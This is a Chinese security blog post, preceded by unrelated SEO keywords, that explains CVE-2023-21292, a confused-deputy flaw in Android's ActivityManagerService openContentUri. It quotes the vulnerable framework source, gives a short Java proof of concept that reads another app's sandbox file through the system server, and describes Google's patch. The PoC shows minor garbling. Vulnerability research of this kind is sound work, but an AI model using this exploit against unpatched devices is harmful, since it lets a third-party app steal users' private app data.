个人免费网站建设模板,python开发手机网站开发,重庆旅游景点,个人网站 虚拟主机文章目录 前言漏洞细节故事起源漏洞利用漏洞修复 总结 前言
本周在分析 Google 官方发布的 Android 2023 年8 月安全公告 涉及的漏洞补丁的时候#xff0c;遇到一个有意思的漏洞#xff1a;CVE-2023-21292。
之所以说它有意思是因为这个漏洞早在去年年底就在某平台上被国外… 文章目录 前言漏洞细节故事起源漏洞利用漏洞修复 总结 前言
本周在分析 Google 官方发布的 Android 2023 年8 月安全公告 涉及的漏洞补丁的时候遇到一个有意思的漏洞CVE-2023-21292。
之所以说它有意思是因为这个漏洞早在去年年底就在某平台上被国外安全大佬 Sergey Toshin 披露了当时大佬还愤愤不平说 Google 拒收结果没想到今年 8 月份翻案了哈哈。
漏洞细节
先看下 Mitre 对该 CVE 漏洞的描述 In openContentUri of ActivityManagerService.java, there is a possible way for a third party app to obtain restricted files due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. 看不懂没事我也不装了还是 Google 翻译一下吧哈哈在 ActivityManagerService.java 的 openContentUri 中由于代理混淆第三方应用程序有可能获取受限文件。 这可能会导致本地信息泄露而无需额外的执行权限。 利用该漏洞不需要用户交互。
故事起源
直接上 Sergey Toshin 的原帖信息 简单来说就是作者发现了如下实事
如果某 APP 的存在 exported“true” 属性的 ContentProvider 组件且在其 openFile 函数中使用了动态权限检查机制来检查访问者的 uid、包名或指定权限那么可以借助 AMS 框架服务提供的 openContentUri 接口来绕过上述权限检查因为当恶意 app 通过 AMS 接口去访问 app 受保护的 ContentProvider 组件的 openFile 函数时最终的调用方实际上是 system_server 进程其 uid1000具备极高的访问特权。
与此同时Sergey Toshin 还给出了具体的示例代码。先看下 APP 在 openFile 函数中使用 checkCallingPermission 函数检查调用方权限的示例代码 接着提供了两种调用该 openFile 函数的方法及其结果对比 从这些公开的细节来看这显然就是个权限检查绕过类型的漏洞其危害也很大恶意应用足以借助该漏洞成功调用受害应用的受保护的 openFile 函数来读取受害应用的沙箱文件。 【补充】如果你并不了解 Content Provider 组件和 openFile 函数建议你先阅读我的另一篇文章ContentProvider openFile接口目录遍历漏洞。 有人在推文下评论了 Google 没接收这个漏洞吗作者答复说 Google 给拒收了……谷歌工程师的谜之操作hh不过我猜测是因为作者没找到 Google 产品体系下具体的可利用的受害 app 作为漏洞的支撑验证材料。
但是显然 CVE-2023-21292 就是在说 Sergey Toshin 的这个漏洞查看致谢榜果然是他哈哈 有意思的就是 Sergey Toshin 是在 2022 年 8 月 6 日发帖公开的此漏洞而 Google 却在一年后才发布安全补丁修复了该高危漏洞。
这期间应该是作者或者业界的其它安全工程师发现了 Google 自研 app 存在可利用的漏洞点符合上文提到的条件导致 Google 不得不回头审视下他们曾经”拒收“的 Sergey Toshin 的漏洞。 【More】实际上本人在 Sergey Toshin 发布该信息的几个月内也成功借助他的公开信息挖到了几个相关漏洞哈哈不过并没向谷歌提交毕竟花精力写英文报告却被谷歌拒绝是一件很费力不讨好的事……但可能也因此错过了一个 CVE 高危漏洞不过这个洞的归属终究回到 Sergey Toshin 本人也算实至名归。 ps信息传播速度还是很快的发现跟我一起注意到该漏洞的信息的还有国内一位安全工程师在他早期的博客已经记录了相关信息ContentProvider openFile 内部校验的绕过方式。
漏洞利用
好了故事讲完了接下来开始看看漏洞原理和漏洞利用了。
【漏洞原理】
直接到 cs.android.com 查看 Android 源码看看 AMS 这个 openContentUri 函数干了点啥
//frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java// TODO: Move to ContentProviderHelper?public ParcelFileDescriptor openContentUri(String uriString) throws RemoteException {enforceNotIsolatedCaller(openContentUri);final int userId UserHandle.getCallingUserId();final Uri uri Uri.parse(uriString);String name uri.getAuthority();ContentProviderHolder cph mCpHelper.getContentProviderExternalUnchecked(name, null,Binder.getCallingUid(), *opencontent*, userId);ParcelFileDescriptor pfd null;if (cph ! null) {try {// This method is exposed to the VNDK and to avoid changing its// signature we just use the first package in the UID. For shared// UIDs we may blame the wrong app but that is Okay as they are// in the same security/privacy sandbox.final int uid Binder.getCallingUid();// Here we handle some of the special UIDs (mediaserver, systemserver, etc)final String packageName AppOpsManager.resolvePackageName(uid,/*packageName*/ null);final AndroidPackage androidPackage;if (packageName ! null) {androidPackage mPackageManagerInt.getPackage(packageName);} else {androidPackage mPackageManagerInt.getPackage(uid);}if (androidPackage null) {Log.e(TAG, Cannot find package for uid: uid);return null;}final AttributionSource attributionSource new AttributionSource(Binder.getCallingUid(), androidPackage.getPackageName(), null);pfd cph.provider.openFile(attributionSource, uri, r, null);} catch (FileNotFoundException e) {// do nothing; pfd will be returned null} finally {// Ensure were done with the provider.mCpHelper.removeContentProviderExternalUnchecked(name, null, userId);}} else {Slog.d(TAG, Failed to get provider for authority name );}return pfd;}阅读源码可以看到openContentUri 函数接收了外部传入的 uriString 字符串并通过 openFile 函数以 “r”读取模式打开 uriString 对应的文件同时返回了一个 ParcelFileDescriptor 对象可被用于读写文件。这个过程中缺乏权限检查第三方 app 可以随意调用该接口进而以 system_server 的身份读取害应用受保护的沙箱文件实现权限提升。
【漏洞利用】
相应的漏洞利用 Poc 也很简单 try {Parcel data Parcel.obtain();Parcel reply Parcel.obtain();IBinder iBinder (IBinder) Class.forName(android.os.ServiceManager).getMethod(getService, String.class).invoke(null, activity);parcelData1.writeInterfaceToken(iBinder.getInterfaceDescriptor());parcelData1.writeString(content://com.test.XXX.provider/test.jpg);iBinder.transact(1, data, reply, 0);parcelReply1.readException();ParcelFileDescriptor descriptor null;if (reply.readInt() ! 0) {descriptor ParcelFileDescriptor.CREATOR.createFromParcel(reply);}if (descriptor! null) {FileInputStream in new FileInputStream(descriptor.getFileDescriptor());byte[] buff new byte[in.available()];in.read(buff);Log.e(TAG, Get Sandbox Data: new String(buff));}} catch (Exception e) {e.printStackTrace();} 以上 poc 程序完整借助 AMS 的 openContentUri 函数提权读取 com.test.XXX 应用沙箱文件 test.jpg得具体结合受害应用得 openFile 函数逻辑分析对应的受害应用沙箱文件路径其中 iBinder.transact(1, data, reply, 0); 是因为在 AMS 框架 AIDL 服务中openContentUri 函数的 transactCode1。
漏洞修复
翻看 Android 提供的 CVE-2023-21292 补丁信息 可以看到Google 添加了调用方的身份或权限权限只允许 vendor、system or product package 等具备特权的应用调用该接口。
总结
本来本人还专门写了一个静态扫描规则匹配相关漏洞的打算持续关注是否会有研发人员在自己的 ContentProvider 组件中错误地使用相关动态权限检查保护 openFile 函数但是看来这个权限绕过类型的漏洞至此画上句号了。实际上做权限检查更好的方式是在 AndroidMainfest 中声明组件的时候直接添加 permission 保护而不是在代码中动态调用 checkCallingPermission 等函数进行检测。
此漏洞影响范围为Android 11、12、12L、13如此“明目张胆”地放在 AMS 框架第一个服务接口却对外暴露漏洞存在了数年之久可见日常的漏洞挖掘工作之中一定不要放过任何细节且要敢于质疑Google 这样的全球科技大厂的工程师们也会犯一些我们意想不到的低级错误的。